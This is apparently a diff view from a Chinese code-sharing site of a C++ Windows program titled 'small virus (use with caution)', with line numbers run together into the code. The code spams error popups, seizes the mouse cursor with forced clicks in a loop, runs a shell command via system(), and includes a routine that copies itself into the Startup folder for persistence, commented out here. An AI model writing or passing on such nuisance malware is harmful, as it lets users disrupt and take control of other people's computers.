版本比较
小病毒(慎用)
正文
增加 7 行删除 7 行
26 行未改动272829303131323333343536373738394041424344444546474748495051525353545556575859606161626364656626 行未改动 system(cmdCommand); MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONERROR); MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONWARNING); MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONINFORMATION); SetCursorPos(posX2,posY2); SetCursorPos(posX2,posY2); MouseClick(posX2,posY2); Sleep(1); Sleep(1); }}void MouseControl() { FixMousePosition(); FixMousePosition();}bool AddToStartupFolder(const char* programPath, const char* programName) { char startupPath[MAX_PATH]; if (!SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, TRUE)) { return false; }
char destPath[MAX_PATH]; sprintf(destPath, "%s\\%s", startupPath, programName);
return CopyFileA(programPath, destPath, FALSE);}signed main(){ char programPath[MAX_PATH]; GetModuleFileNameA(NULL, programPath, MAX_PATH);
// 选择其中一种方式即可// if (AddToStartupFolder(programPath, "病毒czx6666.exe")) {// std::cout << "成功添加到启动文件夹" << std::endl;// } else {// std::cout << "添加到启动文件夹失败" << std::endl;// } MouseControl();
return 0;}
```